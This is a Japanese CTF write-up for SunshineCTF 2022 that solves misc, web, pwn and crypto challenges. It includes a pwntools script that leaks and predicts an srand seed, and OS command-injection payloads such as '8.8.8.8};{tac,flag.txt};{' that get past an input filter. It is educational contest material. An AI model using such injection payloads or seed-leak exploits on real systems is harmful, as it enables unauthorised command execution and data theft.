SunshineCTF 2022 Writeup

この大会は2022/11/20 0:00(JST)~2022/11/22 0:00(JST)に開催されました。
今回もチームで参戦。結果は363点で445チーム中77位でした。
自分で解けた問題をWriteupとして書いておきます。

Roll Call (Misc 1)

問題にフラグが書いてあった。

sun{here}

Matr... I mean Discord (Misc 2)

Discordに入り、#announcementsチャネルのトピックを見ると、フラグが書いてあった。

sun{i_love_centralized_chat_platforms}

PEG_GIMME (Pegasus 10)

PEGASUSファイルの実行方法通り実行する。

$ ./runpeg gimme.peg
Want a flag? [y/N]
y
sun{th4t_w4s_3a5y}
sun{th4t_w4s_3a5y}

PredictorProgrammer 1 (Scripting 50)

適当に1を入力してみたら、フラグが表示された。

$ nc predictor.sunshinectf.games 22201
PredictorProgrammer... new and improved! No longer vulnerable to eval injection!
...oooooooh we are going to play a game... of Prediction!
Super duper easy! You have one life to get the answer correct!
If you get the answer correct... you'll receive a key, one of three.
A person who has all three keys... well... nothing special happens.
But back to prediction...
So we're on the up-and-level with each other, I'm using this code to come up with a totally random number:

# if knuth made it it must be secure!
def knuth_linear_congruential_generator(state):
    return (state * 6364136223846793005) + 1442695040888963407 % (2 ** 64)

#debugggg seed = 1668947587720

The current date is Sun, 20 Nov 2022 12:33:07 +0000, you have 30 seconds to guess the next number correctly.
Predict the future... if you dare!
What number am I thinking of, from 0 to 18446744073709551615:
1
I was thinking of 2208144617267059511...

...

Hooooowwww? How did you solve it?

...

... oh well here's your first key, as promised:
b'sun{oops_i_thought_i_was_in_release}'

Fine. I'll make a better game. ONE WITH A PRINCESS IN ANOTHER CASTLE! 🔥🏰🔥

predictor.sunshinectf.games 22202 holds your next key.
sun{oops_i_thought_i_was_in_release}

CTF Simulator (Pwn 100)

Ghidraでデコンパイルする。

undefined8 FUN_001013b1(void)

{
  int iVar1;
  ssize_t sVar2;
  char *pcVar3;
  long in_FS_OFFSET;
  int local_a0;
  uint local_9c;
  int local_98;
  int local_94;
  char *local_90;
  FILE *local_88;
  char *local_80;
  char local_78 [104];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_98 = open("/dev/urandom",0);
  if (-1 < local_98) {
    sVar2 = read(local_98,&DAT_00104444,4);
    if (sVar2 == 4) {
      close(local_98);
      srand(DAT_00104444);
      puts("||| CTF Simulator 2022 |||");
      puts(
          "This CTF training simulator will hone your guessing skills so you can be more competitive  in CTF competitions!"
          );
      printf("What\'s the name of your CTF team?\n[>] ");
      fflush(stdout);
      local_90 = (char *)FUN_00101349();
      if (local_90 == (char *)0x0) {
        puts("Invalid team name!");
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      strncpy(&DAT_00104430,local_90,0x14);
      for (local_9c = 10; (int)local_9c < 1000000000; local_9c = local_9c * 10) {
        printf("Okay %s, I\'m thinking of a number between 1 and %d. What is it?\n[>] ",
               &DAT_00104430,(ulong)local_9c);
        fflush(stdout);
        iVar1 = rand();
        local_94 = iVar1 % (int)local_9c + 1;
        local_a0 = 0;
        local_90 = (char *)FUN_00101349();
        iVar1 = __isoc99_sscanf(local_90,&DAT_00102135,&local_a0);
        if (iVar1 != 1) {
          puts("Bad guess!");
                    /* WARNING: Subroutine does not return */
          exit(1);
        }
        if (local_a0 < local_94) {
          puts("Too low!");
                    /* WARNING: Subroutine does not return */
          exit(1);
        }
        if (local_94 < local_a0) {
          puts("Too high!");
                    /* WARNING: Subroutine does not return */
          exit(1);
        }
        puts("That\'s it!");
      }
      puts("Wow, did you hack into my brain? Great guessing! You\'ll be a CTF star in no time!");
      local_88 = fopen("flag.txt","r");
      if (local_88 == (FILE *)0x0) {
        puts("Flag file is missing!");
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      pcVar3 = fgets(local_78,100,local_88);
      if (pcVar3 == (char *)0x0) {
        puts("Error reading from flag file!");
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      fclose(local_88);
      local_80 = strchr(local_78,10);
      if (local_80 != (char *)0x0) {
        *local_80 = '\0';
      }
      printf("Here\'s a reward for you: %s\n",local_78);
      if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return 0;
    }
  }
  puts("Fatal error!");
                    /* WARNING: Subroutine does not return */
  exit(1);
}

undefined * FUN_00101349(void)

{
  char *pcVar1;
  undefined *puVar2;
  
  pcVar1 = fgets(&DAT_00104040,1000,stdin);
  if (pcVar1 == (char *)0x0) {
    puVar2 = (undefined *)0x0;
  }
  else {
    pcVar1 = strchr(&DAT_00104040,10);
    if (pcVar1 != (char *)0x0) {
      *pcVar1 = '\0';
    }
    puVar2 = &DAT_00104040;
  }
  return puVar2;
}

チーム名に任意の文字列を20バイト入力すれば、srandのシードの値をリークできる。
乱数取得の部分のみC言語に任せる。

$ cat predict_num.c
#include <stdio.h>
#include <stdlib.h>

void main(int argc, char *argv[]) {
    uint seed;
    int r, num;

    if (argc != 2) {
        printf("Usage %s <seed>\n", argv[0]);
        exit(1);
    }

    seed = atoi(argv[1]);

    srand(seed);
    for (int i=10; i<1000000000; i=i*10) {
        r = rand();
        num = (r % i) + 1;
        printf("%d", num);
        if (i != 100000000) {
            printf(" ");
        }
    }
    printf("\n");
}
$ gcc predict_num.c -o predict_num
#!/usr/bin/env python3
from pwn import *
import subprocess

p = remote('sunshinectf.games', 22000)

name = 'A' * 20
data = p.recvuntil(b'[>] ').decode()
print(data + name)
p.sendline(name.encode())
data = p.recvline()
print(data)

str_seed = data.split(b'A' * 20)[1].split(b',')[0]
seed = int.from_bytes(str_seed, byteorder='little')

cmd = ('./predict_num ' + str(seed)).split(' ')
output = subprocess.run(cmd, stdout=subprocess.PIPE)
nums = output.stdout.rstrip().decode().split(' ')

for i in range(8):
    data = p.recvuntil(b'[>] ').decode()
    print(data, end='')
    print(nums[i])
    p.sendline(nums[i].encode())
    data = p.recvline().rstrip().decode()
    print(data)
    data = p.recvline().rstrip()
    if i == 7:
        data = data.decode()
    print(data)

data = p.recvline().rstrip().decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to sunshinectf.games on port 22000: Done
||| CTF Simulator 2022 |||
This CTF training simulator will hone your guessing skills so you can be more competitive in CTF competitions!
What's the name of your CTF team?
[>] AAAAAAAAAAAAAAAAAAAA
b"Okay AAAAAAAAAAAAAAAAAAAAj\xa6\xae_, I'm thinking of a number between 1 and 10. What is it?\n"
[>] 9
That's it!
b"Okay AAAAAAAAAAAAAAAAAAAAj\xa6\xae_, I'm thinking of a number between 1 and 100. What is it?"
[>] 39
That's it!
b"Okay AAAAAAAAAAAAAAAAAAAAj\xa6\xae_, I'm thinking of a number between 1 and 1000. What is it?"
[>] 893
That's it!
b"Okay AAAAAAAAAAAAAAAAAAAAj\xa6\xae_, I'm thinking of a number between 1 and 10000. What is it?"
[>] 8735
That's it!
b"Okay AAAAAAAAAAAAAAAAAAAAj\xa6\xae_, I'm thinking of a number between 1 and 100000. What is it?"
[>] 55260
That's it!
b"Okay AAAAAAAAAAAAAAAAAAAAj\xa6\xae_, I'm thinking of a number between 1 and 1000000. What is it?"
[>] 266850
That's it!
b"Okay AAAAAAAAAAAAAAAAAAAAj\xa6\xae_, I'm thinking of a number between 1 and 10000000. What is it?"
[>] 8679761
That's it!
b"Okay AAAAAAAAAAAAAAAAAAAAj\xa6\xae_, I'm thinking of a number between 1 and 100000000. What is it?"
[>] 12886187
That's it!
Wow, did you hack into my brain? Great guessing! You'll be a CTF star in no time!
Here's a reward for you: sun{gu355y_ch4ll3ng35_4r3_my_f4v0r1t3!}
[*] Closed connection to sunshinectf.games port 22000
sun{gu355y_ch4ll3ng35_4r3_my_f4v0r1t3!}

Inspect Element (Web 50)

HTMLソースを見ると、こう書いてある部分がある。

<span style="color:white" text="sun{prepare_for_a_lawsuit}">Nothing to see here</span>
sun{prepare_for_a_lawsuit}

Network Pong (Web 100)

8.8.8.8と入力したら、以下のように表示された。

PING 8.8.8.8 (8.8.8.8): 56 data bytes
ping: permission denied (are you root?)

OSコマンドインジェクションができないか調べる。

・";"の場合

/bin/bash: -c: line 1: syntax error near unexpected token `}'
/bin/bash: -c: line 1: `{ping,-c,1,;}'

・"8.8.8.8};id;{"の場合
  
PING 8.8.8.8 (8.8.8.8): 56 data bytes
ping: permission denied (are you root?)
uid=100(unprivileged) gid=101(unprivileged) groups=101(unprivileged)
/bin/bash: line 1: {}: command not found

・"8.8.8.8};ls;{"の場合

PING 8.8.8.8 (8.8.8.8): 56 data bytes
ping: permission denied (are you root?)
Dockerfile
docker-entrypoint.sh
flag.txt
index.py
requirements.txt
templates
/bin/bash: line 1: {}: command not found

・"8.8.8.8};cat flag.txt;{"の場合

Error: Please only enter the IP or domain!

・"8.8.8.8};{cat,flag.txt};{"の場合

Error: Do not mention body parts, felines, or body parts of felines.

・"8.8.8.8};{tac,flag.txt};{"の場合

PING 8.8.8.8 (8.8.8.8): 56 data bytes
ping: permission denied (are you root?)
sun{pin9_pin9-pin9_f1@9_pin9}
/bin/bash: line 1: {}: command not found
sun{pin9_pin9-pin9_f1@9_pin9}

Exotic Bytes (Crypto 50)

まず、UTF-8で考える。

0xEA 0xB1 0xB3
0xEA 0xB1 0xB5
0xEA 0xB1 0xAE
0xEA 0xB1 0xBB

末尾を0x40引くと、以下のようになる。

>>> chr(0xb3-0x40)
's'
>>> chr(0xb5-0x40)
'u'
>>> chr(0xae-0x40)
'n'
>>> chr(0xbb-0x40)
'{'

真ん中のバイトが 0xB0 の場合にうまくいかない。今度はUTF-16で考える。

0xAC73
0xAC75
0xAC6E
0xAC7B
0xAC62
0xAC34
0xAC73
0xAC33
>>> chr(0x73)
's'
>>> chr(0x75)
'u'
>>> chr(0x6E)
'n'
>>> chr(0x7B)
'{'
>>> chr(0x62)
'b'
>>> chr(0x34)
'4'
>>> chr(0x73)
's'
>>> chr(0x33)
'3'

0xACを省けば、復号できそうなので、削除して復号する。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

enc = '걳걵걮걻걢갴걳갳걟갱갲갸걟갱갵걟걢갱건걟걲갳걭갴거거갱걮걧걽'.encode(encoding='utf-16-le')

flag = enc.replace(b'\xac', b'').decode()
print(flag)
sun{b4s3_128_15_b1t_r3m4pp1ng}